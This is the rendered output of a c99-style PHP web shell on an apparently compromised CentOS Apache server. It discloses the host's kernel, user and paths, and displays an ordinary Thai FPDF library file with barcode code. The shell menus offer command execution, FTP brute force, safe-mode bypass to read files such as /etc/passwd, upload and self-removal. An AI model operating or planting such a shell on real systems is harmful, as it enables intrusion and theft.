!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/ums/temp/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fpdf_thai.php (22.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/********************************************************************************
* Software    :    FPDF Version Thai                                                                *
* Version        :    1.50                                                                                            *
* ผู้พัฒนา        :    Mr.Sirichai  Fuangfoo                                                            *
* วันที่            :    2005-03-31                                                                                *
* อ้างอิง            :   www.fpdf.org                                                                            *
* ประเภท        :  Freeware                                                                                    *
*********************************************************************************/

require('fpdf.php');

class 
FPDF_TH extends FPDF
{
var 
$txt_error;    
var 
$pointX;
var 
$pointY;
var 
$checkFill;

/********************************************************************************
* ประเภท  : Constructor    ของ Class FPDF_TH                                                *
* การทำงาน  : ใช้ในการกำหนดรูบแบบของเอกสาร PDF                                             *
*********************************************************************************/
function FPDF_TH($orientation='P',$unit='mm',$format='A4')
{    
    
$this->FPDF($orientation,$unit,$format);
}

/********************************************************************************
* ประเภท  : Function    ของ Class FPDF_TH                                                        *
* อ้างอิง       : Function MultiCell    ของ Class FPDF                                                *
* การทำงาน  : ใช้ในการพิมพ์ข้อความหลายบรรทัดของเอกสาร PDF                                 *
* รูบแบบ  : MultiCell (                                                                                        *
*                              $w = ความกว้างของMultiCell                                                *
*                            , $h = ความสูงของMultiCell                                                    *
*                            , $txt = ข้อความที่จะพิมพ์                                                            *
*                            , $border = กำหนดการแสดงเส้นกรอบ(0 = ไม่แสดง, 1= แสดง)        *
*                            , $align = ตำแหน่งข้อความ(L = ซ้าย, R = ขวา, C = กึ่งกลาง)        *
*                            , $fill = กำหนดการแสดงสีของMultiCell(0 = ไม่แสดง, 1 = แสดง)    *
*                            )                                                                                            *
*********************************************************************************/
/*function MultiCell($w,$h,$txt,$border=0,$align='L',$fill=0)
{
    //Output text with automatic or explicit line breaks
    $cw=&$this->CurrentFont['cw'];
    if($w==0)
        $w=$this->w-$this->rMargin-$this->x;
    $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
    $s=str_replace("\r",'',$txt);
    $nb=strlen($s);
    if($nb>0 && $s[$nb-1]=="\n")
        $nb--;
    $b=0;
    if($border)
    {
        if($border==1)
        {
            $border='LTRB';
            $b='LRT';
            $b2='LR';
        }
        else
        {
            $b2='';
            if(strpos($border,'L')!==false)
                $b2.='L';
            if(strpos($border,'R')!==false)
                $b2.='R';
            $b=(strpos($border,'T')!==false) ? $b2.'T' : $b2;
        }
    }
    $sep=-1;
    $i=0;
    $j=0;
    $l=0;
    $ns=0;
    $nl=1;
    while($i<$nb)
    {
        //Get next character
        $c=$s{$i};
        if($c=="\n")
        {
            //Explicit line break
            if($this->ws>0)
            {
                $this->ws=0;
                $this->_out('0 Tw');
            }
            $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
            $i++;
            $sep=-1;
            $j=$i;
            $l=0;
            $ns=0;
            $nl++;
            if($border && $nl==2)
                $b=$b2;
            continue;
        }
        if($c==' ')
        {
            $sep=$i;
            $ls=$l;
            $ns++;
        }
        $l+=$cw[$c];
        if($l>$wmax)
        {
            //Automatic line break
            if($sep==-1)
            {
                if($i==$j)
                    $i++;
                if($this->ws>0)
                {
                    $this->ws=0;
                    $this->_out('0 Tw');
                }
                $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
            }
            else
            {
                if($align=='J')
                {
                    $this->ws=($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
                    $this->_out(sprintf('%.3f Tw',$this->ws*$this->k));
                }
                $this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
                $i=$sep+1;
            }
            $sep=-1;
            $j=$i;
            $l=0;
            $ns=0;
            $nl++;
            if($border && $nl==2)
                $b=$b2;
        }
        else
            $i++;
    }
    //Last chunk
    if($this->ws>0)
    {
        $this->ws=0;
        $this->_out('0 Tw');
    }
    if($border && strpos($border,'B')!==false)
        $b.='B';
    $this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
    $this->x=$this->lMargin;
}*/

/********************************************************************************
* ประเภท  : Function    ของ Class FPDF_TH                                                        *
* อ้างอิง       : Function Write    ของ Class FPDF                                                    *
* การทำงาน  : ใช้ในการพิมพ์ข้อความทีละบรรทัดของเอกสาร PDF                                 *
* รูบแบบ  : TWrite (                                                                                            *
*                              $h = ความสูงของเซลล์                                                            *
*                            , $txt = ข้อความที่จะพิมพ์                                                            *
*                            , $link = URL ที่ต้องการให้ข้อความเชื่อมโยงไปถึง                        *
*                            )                                                                                            *
*********************************************************************************/
/*function TWrite($h,$txt,$link='')
{
    //Output text in flowing mode
    $cw=&$this->CurrentFont['cw'];
    $w=$this->w-$this->rMargin-$this->x;
    $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
    $s=str_replace("\r",'',$txt);
    $nb=strlen($s);
    $sep=-1;
    $i=0;
    $j=0;
    $l=0;
    $nl=1;
    while($i<$nb)
    {
        //Get next character
        $c=$s{$i};
        if($c=="\n")
        {
            //Explicit line break
            $this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
            $i++;
            $sep=-1;
            $j=$i;
            $l=0;
            if($nl==1)
            {
                $this->x=$this->lMargin;
                $w=$this->w-$this->rMargin-$this->x;
                $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
            }
            $nl++;
            continue;
        }
        if($c==' ')
            $sep=$i;
        $l+=$cw[$c];
        if($l>$wmax)
        {
            //Automatic line break
            if($sep==-1)
            {
                if($this->x>$this->lMargin)
                {
                    //Move to next line
                    $this->x=$this->lMargin;
                    $this->y+=$h;
                    $w=$this->w-$this->rMargin-$this->x;
                    $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
                    $i++;
                    $nl++;
                    continue;
                }
                if($i==$j)
                    $i++;
                $this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
            }
            else
            {
                $this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
                $i=$sep+1;
            }
            $sep=-1;
            $j=$i;
            $l=0;
            if($nl==1)
            {
                $this->x=$this->lMargin;
                $w=$this->w-$this->rMargin-$this->x;
                $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
            }
            $nl++;
        }
        else
            $i++;
    }
    //Last chunk
    if($i!=$j)
        $this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link);
}
*/
/********************************************************************************
* ประเภท  : Function    ของ Class FPDF_TH                                                        *
* อ้างอิง       : Function Cell    ของ Class FPDF                                                        *
* การทำงาน  : ใช้ในการพิมพ์ข้อความทีละบรรทัดของเอกสาร PDF                                 *
* รูบแบบ  : Cell (                                                                                                *
*                              $w = ความกว้างของCell                                                        *
*                            , $h = ความสูงของCell                                                            *
*                            , $txt = ข้อความที่จะพิมพ์                                                            *
*                            , $border = กำหนดการแสดงเส้นกรอบ(0 = ไม่แสดง, 1= แสดง)        *
*                            , $ln = ตำแหน่งที่อยู่ถัดไปจากเซลล์                                                *
*                                        (0 = ขวา, 1 = บรรทัดถัดไป, 2 = ด้านล่าง)                        *
*                            , $align = ตำแหน่งข้อความ                                                        *
                                        (L = ซ้าย, R = ขวา, C = กึ่งกลาง, T = บน, B = ล่าง)        *
*                            , $fill = กำหนดการแสดงสีของCell(0 = ไม่แสดง, 1 = แสดง)        *
*                            , $link = URL ที่ต้องการให้ข้อความเชื่อมโยงไปถึง                        *
*                            )                                                                                            *
*********************************************************************************/
function Cell($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=0,$link='')
{
    
$this->checkFill="";
    
$k=$this->k;
    if(
$this->y+$h>$this->PageBreakTrigger && !$this->InFooter && $this->AcceptPageBreak())
    {
        
//ขึ้นหน้าใหม่อัตโนมัต
        
$x=$this->x;
        
$ws=$this->ws;
        if(
$ws>0)
        {
            
$this->ws=0;
            
$this->_out('0 Tw');
        }
        
$this->AddPage($this->CurOrientation);
        
$this->x=$x;
        if(
$ws>0)
        {
            
$this->ws=$ws;
            
$this->_out(sprintf('%.3f Tw',$ws*$k));
        }
    }
    
//กำหนดความกว้างเซลล์เท่ากับหน้ากระดาษ
    
if($w==0)
        
$w=$this->w-$this->rMargin-$this->x;
    
$s='';
    
//กำหนดการแสดงเส้นกรอบ 4 ด้าน และสีกรอบ
    
if($fill==|| $border==1)
    {
        if(
$fill==1)
            
$op=($border==1) ? 'B' 'f';
        else
            
$op='S';
        
$s=sprintf('%.2f %.2f %.2f %.2f re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
        if(
$op=='f')
            
$this->checkFill=$op;
    }
    
//กำหนดการแสดงเส้นกรอบทีละเส้น
    
if(is_string($border))
    {
        
$x=$this->x;
        
$y=$this->y;
        if(
strpos($border,'L')!==false)
            
$s.=sprintf('%.2f %.2f m %.2f %.2f l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
        if(
strpos($border,'T')!==false)
            
$s.=sprintf('%.2f %.2f m %.2f %.2f l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
        if(
strpos($border,'R')!==false)
            
$s.=sprintf('%.2f %.2f m %.2f %.2f l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
        if(
strpos($border,'B')!==false)
            
$s.=sprintf('%.2f %.2f m %.2f %.2f l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
    }


    if(
$txt!=='')
    {            
        
$x=$this->x;
        
$y=$this->y;
        
//กำหนดการจัดข้อความในเซลล์ตามแนวระดับ
        
if(strpos($align,'R')!==false)
            
$dx=$w-$this->cMargin-$this->GetStringWidth($txt);
        elseif(
strpos($align,'C')!==false)
            
$dx=($w-$this->GetStringWidth($txt))/2;
        else
            
$dx=$this->cMargin;
        
//กำหนดการจัดข้อความในเซลล์ตามแนวดิ่ง
        
if(strpos($align,'T')!==false)
            
$dy=$h-(.7*$this->k*$this->FontSize);
        elseif(
strpos($align,'B')!==false)
            
$dy=$h-(.3*$this->k*$this->FontSize);
        else
            
$dy=.5*$h;
        
//กำหนดการขีดเส้นใต้ข้อความ
        
if($this->underline)
        {    
            
//กำหนดบันทึกกราฟิก
            
if($this->ColorFlag)
                
$s.='q '.$this->TextColor.' ';
            
//ขีดเส้นใต้ข้อความ0
            
$s.=' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
            
//กำหนดคืนค่ากราฟิก
            
if($this->ColorFlag)
                
$s.=' Q';
        }
        
//กำหนดข้อความเชื่อมโยงไปถึง
        
if($link)
            
$this->Link($this->x,$this->y,$this->GetStringWidth($txt),$this->FontSize,$link);
        if(
$s)
            
$this->_out($s);
        
$s='';
        
//ตัดอักษรออกจากข้อความ ทีละตัวเก็บลงอะเรย์
        
$array_th=substr($txt,0);
        
$i=0;

        while(
$i<=strlen($txt))
        {    
            
//กำหนดตำแหน่งที่จะพิมพ์อักษรในเซลล์
            
$this->pointX=($x+$dx+.02*$this->GetStringWidth($array_th[$i-1]))*$k;
            
$this->pointY=($this->h-($y+$dy+.3*$this->FontSize))*$k;
            
//ตรวจสอบอักษร ปรับตำแหน่งและทำการพิมพ์
            
$this->_checkT($array_th,$i,$s);
            
//ตรวจสอบการใส่เลขหน้า
            
if($array_th[$i]=='{'&&$array_th[$i+1]=='n'&&$array_th[$i+2]=='b'&&$array_th[$i+3]=='}')
                
$i=$i+3;
            
//เลื่อนตำแหน่ง x ไปที่ตัวที่จะพิมพ์ถัดไป
            
$x=$x+$this->GetStringWidth($array_th[$i]);
            
$i++;
        }

    }
    else
        
//นำค่าไปแสดงเมื่อไม่มีข้อความ
        
$this->_out($s);

    
$this->lasth=$h;
    
//ตรวจสอบการวางตำแหน่งของเซลล์ถัดไป
    
if($ln>0)
    {
        
//ขึ้นบรรทัดใหม่
        
$this->y+=$h;
        if(
$ln==1)
            
$this->x=$this->lMargin;
    }
    else
        
$this->x+=$w;
}

/********************************************************************************
* ประเภท  : Function    ของ Class FPDF_TH                                                        *
* อ้างอิง       : Mr.Wittawas  Pantumchinda                                                        *
* การทำงาน  : ใช้ในกำหนดฟอนต์สำหรับภาษาไทยให้โปรแกรมได้รู้จัก                             *
* ฟอนต์ภาษาไทย  : AngsanaNew, CordiaNew,     Tahoma, BrowalliaNew        *
*                            , KoHmu, KoHmu2,     KoHmu3, MicrosoftSansSerif            *
*                            , PLE_Cara, PLE_Joy, PLE_Tom, DilleniaUPC                *
*                            , EucrosiaUPC, FreesiaUPC, IrisUPC, KodchiangUPC    *
*                            , LilyUPC                                                                                *
*********************************************************************************/
//function SetThaiFont(){
    //กำหนดฟอนต์ภาษาไทย
//    $this->AddFont('AngsanaNew','','angsa.php');
//    $this->AddFont('AngsanaNew','B','angsab.php');
//    $this->AddFont('AngsanaNew','I','angsai.php');
//    $this->AddFont('AngsanaNew','IB','angsaz.php');
//    $this->AddFont('AngsanaUPC','','AngsanaUPC.php');
//    $this->AddFont('CordiaNew','','cordia.php');
//    $this->AddFont('CordiaNew','B','cordiab.php');
//    $this->AddFont('CordiaNew','I','cordiai.php');
//    $this->AddFont('CordiaNew','IB','cordiaz.php');
//    $this->AddFont('CordiaUPC','','CordiaUPC.php');
//    $this->AddFont('Tahoma','','tahoma.php');
//    $this->AddFont('Tahoma','B','tahomab.php');
//    $this->AddFont('BrowalliaNew','','browa.php');
//    $this->AddFont('BrowalliaNew','B','browab.php');
//    $this->AddFont('BrowalliaNew','I','browai.php');
//    $this->AddFont('BrowalliaNew','IB','browaz.php');
//    $this->AddFont('BrowalliaUPC','','BrowalliaUPC.php');
//    $this->AddFont('KoHmu','','kohmu.php');
//    $this->AddFont('KoHmu2','','kohmu2.php');
//    $this->AddFont('KoHmu3','','kohmu3.php');
//    $this->AddFont('MicrosoftSansSerif','','micross.php');
//    $this->AddFont('PLE_Cara','','plecara.php');
//    $this->AddFont('PLE_Care','B','plecareb.php');
//    $this->AddFont('PLE_Joy','','plejoy.php');
//    $this->AddFont('PLE_Tom','','pletom.php');
//    $this->AddFont('PLE_Tom','B','pletomb.php');
//    $this->AddFont('PLE_TomOutline','','pletomo.php');
//    $this->AddFont('PLE_TomWide','','pletomw.php');
//    $this->AddFont('DilleniaUPC','','dill.php');
//    $this->AddFont('DilleniaUPC','B','dillb.php');
//    $this->AddFont('DilleniaUPC','I','dilli.php');
//    $this->AddFont('DilleniaUPC','IB','dillz.php');
//    $this->AddFont('EucrosiaUPC','','eucro.php');
//    $this->AddFont('EucrosiaUPC','B','eucrob.php');
//    $this->AddFont('EucrosiaUPC','I','eucroi.php');
//    $this->AddFont('EucrosiaUPC','IB','eucroz.php');
//    $this->AddFont('FreesiaUPC','','free.php');
//    $this->AddFont('FreesiaUPC','B','freeb.php');
//    $this->AddFont('FreesiaUPC','I','freei.php');
//    $this->AddFont('FreesiaUPC','IB','freez.php');
//    $this->AddFont('IrisUPC','','iris.php');
//    $this->AddFont('IrisUPC','B','irisb.php');
//    $this->AddFont('IrisUPC','I','irisi.php');
//    $this->AddFont('IrisUPC','IB','irisz.php');
//    $this->AddFont('JasmineUPC','','jasm.php');
//    $this->AddFont('JasmineUPC','B','jasmb.php');
//    $this->AddFont('JasmineUPC','I','jasmi.php');
//    $this->AddFont('JasmineUPC','IB','jasmz.php');
//    $this->AddFont('KodchiangUPC','','kodc.php');
//    $this->AddFont('KodchiangUPC','B','kodc.php');
//    $this->AddFont('KodchiangUPC','I','kodci.php');
//    $this->AddFont('KodchiangUPC','IB','kodcz.php');
//    $this->AddFont('LilyUPC','','lily.php');
//    $this->AddFont('LilyUPC','B','lilyb.php');
//    $this->AddFont('LilyUPC','I','lilyi.php');
//    $this->AddFont('LilyUPC','IB','lilyz.php');
//}

/********************************************************************************
* ประเภท  : Function     ของ Class FPDF_TH                                                        *
* อ้างอิง       : Mr.Wittawas  Pantumchinda                                                        *
* การทำงาน  : ใช้ในสร้างบาร์โคด                                                                             *
* รูบแบบ  : Code39(                                                                                            *
*                                $xpos = กำหนดจุดเริ่มพิมพ์ตามแกน X                                    *
*                              , $ypos = กำหนดจุดเริ่มพิมพ์ตามแกน y                                    *
*                              , $code = ข้อความหรือตัวเลขที่จะทำเป็นบาร์โคด                        *
*                              , $baseline = กำหนดความกว้างของแถบบาร์โคด                        *
*                              , $height = กำหนดความสูงของแถบบาร์โคด                                *
*                              )                                                                                            *
*********************************************************************************/
function Code39($xpos$ypos$code$baseline=0.5$height=5)
{
    
//ทำบาร์โคด
    
$wide $baseline;
    
$narrow $baseline 
    
$gap $narrow;

    
$barChar['0'] = 'nnnwwnwnn';
    
$barChar['1'] = 'wnnwnnnnw';
    
$barChar['2'] = 'nnwwnnnnw';
    
$barChar['3'] = 'wnwwnnnnn';
    
$barChar['4'] = 'nnnwwnnnw';
    
$barChar['5'] = 'wnnwwnnnn';
    
$barChar['6'] = 'nnwwwnnnn';
    
$barChar['7'] = 'nnnwnnwnw';
    
$barChar['8'] = 'wnnwnnwnn';
    
$barChar['9'] = 'nnwwnnwnn';
    
$barChar['A'] = 'wnnnnwnnw';
    
$barChar['B'] = 'nnwnnwnnw';
    
$barChar['C'] = 'wnwnnwnnn';
    
$barChar['D'] = 'nnnnwwnnw';
    
$barChar['E'] = 'wnnnwwnnn';
    
$barChar['F'] = 'nnwnwwnnn';
    
$barChar['G'] = 'nnnnnwwnw';
    
$barChar['H'] = 'wnnnnwwnn';
    
$barChar['I'] = 'nnwnnwwnn';
    
$barChar['J'] = 'nnnnwwwnn';
    
$barChar['K'] = 'wnnnnnnww';
    
$barChar['L'] = 'nnwnnnnww';
    
$barChar['M'] = 'wnwnnnnwn';
    
$barChar['N'] = 'nnnnwnnww';
    
$barChar['O'] = 'wnnnwnnwn'
    
$barChar['P'] = 'nnwnwnnwn';
    
$barChar['Q'] = 'nnnnnnwww';
    
$barChar['R'] = 'wnnnnnwwn';
    
$barChar['S'] = 'nnwnnnwwn';
    
$barChar['T'] = 'nnnnwnwwn';
    
$barChar['U'] = 'wwnnnnnnw';
    
$barChar['V'] = 'nwwnnnnnw';
    
$barChar['W'] = 'wwwnnnnnn';
    
$barChar['X'] = 'nwnnwnnnw';
    
$barChar['Y'] = 'wwnnwnnnn';
    
$barChar['Z'] = 'nwwnwnnnn';
    
$barChar['-'] = 'nwnnnnwnw';
    
$barChar['.'] = 'wwnnnnwnn';
    
$barChar[' '] = 'nwwnnnwnn';
    
$barChar['*'] = 'nwnnwnwnn';
    
$barChar['$'] = 'nwnwnwnnn';
    
$barChar['/'] = 'nwnwnnnwn';
    
$barChar['+'] = 'nwnnnwnwn';
    
$barChar['%'] = 'nnnwnwnwn';

    
$this->SetFont('Arial','',10);
    
$this->Text($xpos$ypos $height 4$code);
    
$this->SetFillColor(0);

    
$code '*'.strtoupper($code).'*';
    for(
$i=0$i<strlen($code); $i++)
    {
        
$char $code{$i};
        if(!isset(
$barChar[$char]))
        {
            
$this->Error('Invalid character in barcode: '.$char);
        }
        
$seq $barChar[$char];
        for(
$bar=0$bar<9$bar++){
            if(
$seq{$bar} == 'n'){
                
$lineWidth $narrow;
            }else{
                
$lineWidth $wide;
            }
            if(
$bar == 0){
                
$this->Rect($xpos$ypos$lineWidth$height'F');
            }
            
$xpos += $lineWidth;
        }
        
$xpos += $gap;
    }
}

/********************************************************************************
*                                                                                                                        *
*                              Protected methods                                                        *
*                                                                                                                        *
*********************************************************************************/

/********************************************************************************
* ใช้งาน  : Function    Cell ของ Class FPDF_TH                                                *
* การทำงาน  : ใช้ในการตรวจสอบอักษร และปรับตำแหน่งก่อนที่จะทำการพิมพ์                    *
* ความต้องการ  : $array_th = อะเรย์ของอักษรที่ตัดออกจากข้อความ                            *
*                        $i = ลำดับปัจจุบันในอะเรย์ที่จะทำการตรวจสอบ                                    *
*                        $s = สายอักขระของโคด PDF                                                        *
*********************************************************************************/
function _checkT($array_th,$i,$s)
{   
    
//ตวจสอบการแสดงผลของตัวอักษรเหนือสระบน
    
if($this->_errorTh($array_th[$i])==1)
    {
        
//ตรวจสอบตัวอักษรก่อนหน้านั้นไม่ใช่สระบน ปรับตำแหน่งลง    
        
if(($this->_errorTh($array_th[$i-1])!=2)&&($array_th[$i+1]!="ำ"))
            
//ถ้าตัวนั้นเป็นการันต์
            
if($array_th[$i]=="์")                                            
                
$this->pointY=$this->pointY-.17*$this->FontSize*$this->k;
            
//ถ้าตัวนั้นเป็นไม้เอกหรือไม้จัตวา
            
elseif($array_th[$i]=="่"||$array_th[$i]=="๋")                        
                
$this->pointY=$this->pointY-.2*$this->FontSize*$this->k;
            else
                
$this->pointY=$this->pointY-.23*$this->FontSize*$this->k;
            
        
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นเป็นตัวอักษรหางยาวบน
        
if($this->_errorTh($array_th[$i-1])==3)        
            
//ถ้าตัวนั้นเป็นการันต์
            
if($array_th[$i]=="์")                                                
                
$this->pointX=$this->pointX-.4*$this->GetStringWidth($array_th[$i-1])*$this->k;
            
//ถ้าตัวนั้นเป็นไม้เอกหรือไม้จัตวา
            
elseif($array_th[$i]=="่"||$array_th[$i]=="๋")
                
$this->pointX=$this->pointX-.17*$this->GetStringWidth($array_th[$i-1])*$this->k;
            else
                
$this->pointX=$this->pointX-.25*$this->GetStringWidth($array_th[$i-1])*$this->k;

            
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นไปอีกเป็นตัวอักษรหางยาวบน    
            
if($this->_errorTh($array_th[$i-2])==3)    
            {
                
//ถ้าตัวนั้นเป็นการันต์
                
if($array_th[$i]=="์")
                    
$this->pointX=$this->pointX-.4*$this->GetStringWidth($array_th[$i-2])*$this->k;
                
//ถ้าตัวนั้นเป็นไม้เอกหรือไม้จัตวา
                
elseif($array_th[$i]=="่"||$array_th[$i]=="๋")
                    
$this->pointX=$this->pointX-.17*$this->GetStringWidth($array_th[$i-2])*$this->k;
                else
                    
$this->pointX=$this->pointX-.25*$this->GetStringWidth($array_th[$i-2])*$this->k;
            }
    }
    
//จบการตรวจสอบตัวอักษรเหนือสระบน

    //ตวจสอบการแสดงผลของตัวอักษรสระบน
    
elseif($this->_errorTh($array_th[$i])==2)
    {
        
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นเป็นตัวอักษรหางยาวบน
        
if($this->_errorTh($array_th[$i-1])==3)    
            
$this->pointX=$this->pointX-.17*$this->GetStringWidth($array_th[$i-1])*$this->k;
        
//ถ้าตัวนั้นเป็นสระอำ
        
if($array_th[$i]=="ำ")
            
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นเป็นตัวอักษรหางยาวบน
            
if($this->_errorTh($array_th[$i-2])==3)    
                
$this->pointX=$this->pointX-.17*$this->GetStringWidth($array_th[$i-2])*$this->k;
    }                                                                                        
    
//จบการตรวจสอบตัวอักษรสระบน

    //ตวจสอบการแสดงผลของตัวอักษรสระล่าง
    
elseif($this->_errorTh($array_th[$i])==6)
    {
        
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นเป็นอักขระ ฏ. กับ ฎ.
        
if($this->_errorTh($array_th[$i-1])==4)                            
            
$this->pointY=$this->pointY-.25*$this->FontSize*$this->k;
        
//ตรวจสอบตัวอักษรตัวก่อนหน้านั้นเป็นตัวอักษร ญ. กับ ฐ.
        
elseif($this->_errorTh($array_th[$i-1])==5)                        
        {            
            
$z="";
            if(
$this->checkFill=='f')
                
$z.='q ';
            else
                
$z.='q 1 g ';
            
//สร้างสี่เหลี่ยมไปปิดที่ฐานล่างของตัวอักษร ญ. กับ ฐ.
            
$z.=$s.sprintf('%.2f %.2f %.2f %.2f re f ',$this->pointX-$this->GetStringWidth($array_th[$i-1])*$this->k,$this->pointY-.27*$this->FontSize*$this->k,.9*$this->GetStringWidth($array_th[$i-1])*$this->k,.25*$this->FontSize*$this->k);
            
$z.='Q ';
            
$this->_out($z);
            
$z="";
        }
        
//จบการตรวจสอบตัวอักษรสระล่าง
    
}                                                                                        
    
//จบการตรวจสอบตัวอักษระสระล่าง
        
    //ตวจสอบกรณีที่เป็นการแสดงเลขหน้าทั้งหมด
    
if($array_th[$i]=='{'&&$array_th[$i+1]=='n'&&$array_th[$i+2]=='b'&&$array_th[$i+3]=='}')
        
$this->TText('{nb}',$s);
    else
        
$this->TText($array_th[$i],$s);
}

/********************************************************************************
* ใช้งาน  : Function    _checkT ของ Class FPDF_TH                                        *
* การทำงาน  : ใช้ในการตรวจสอบอักษรที่อาจจะทำให้เกิดการพิมพ์ที่ผิดพลาด                    *
* ความต้องการ  : $char_th = ตัวอักษรที่จะใช้ในการเปรียบเทียบ                                    *
*********************************************************************************/
function _errorTh($char_th)
{    
    
$txt_error=0;
    
//ตัวอักษรบน-บน
    
if(($char_th=='่')||($char_th=='้')||($char_th=='๊')||($char_th=='๋')||($char_th=='์'))
        
$txt_error=1;
    
//ตัวอักษรบน
    
elseif(($char_th=='ิ')||($char_th=='ี')||($char_th=='ึ')||($char_th=='ื')||($char_th=='็')||($char_th=='ั')||($char_th=='ำ'))
        
$txt_error=2;
    
//ตัวอักษรกลาง-บน
    
elseif(($char_th=='ป')||($char_th=='ฟ')||($char_th=='ฝ'))
        
$txt_error=3;
    
//ตัวอักษรกลาง-ล่าง
    
elseif(($char_th=='ฎ')||($char_th=='ฏ'))
        
$txt_error=4;
    
//ตัวอักษรกลาง-ล่าง
    
elseif(($char_th=='ญ')||($char_th=='ฐ'))
        
$txt_error=5;
    
//ตัวอักษรสระล่าง
    
elseif(($char_th=='ุ')||($char_th=='ู'))
        
$txt_error=6;
    else
        
$txt_error=0;
    return 
$txt_error;
}

/********************************************************************************
* ใช้งาน  : Function    _checkT ของ Class FPDF_TH                                        *
* การทำงาน  : ใช้ในพิมพ์ตัวอักษรที่ตรวจสอบแล้ว                                                         *
* ความต้องการ  : $txt_th = ตัวอักษร 1 ตัว ที่ตรวจสอบแล้ว                                            *
*                        $s = สายอักขระของโคด PDF                                                        *
*********************************************************************************/
function TText($txt_th,$s)
{    
    
//ตวจสอบการใส่สีเซลล์
    
if($this->ColorFlag)
        
$s.='q '.$this->TextColor.' ';
    
$txt_th2=str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt_th)));
    
//ระบุตำแหน่ง และพิมพ์ตัวอักษร
    
$s.=sprintf('BT %.2f %.2f Td (%s) Tj ET',$this->pointX,$this->pointY,$txt_th2);
    if(
$this->ColorFlag)
        
$s.=' Q';
    if(
$s)
        
$this->_out($s);
}

//End of class
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0168 ]--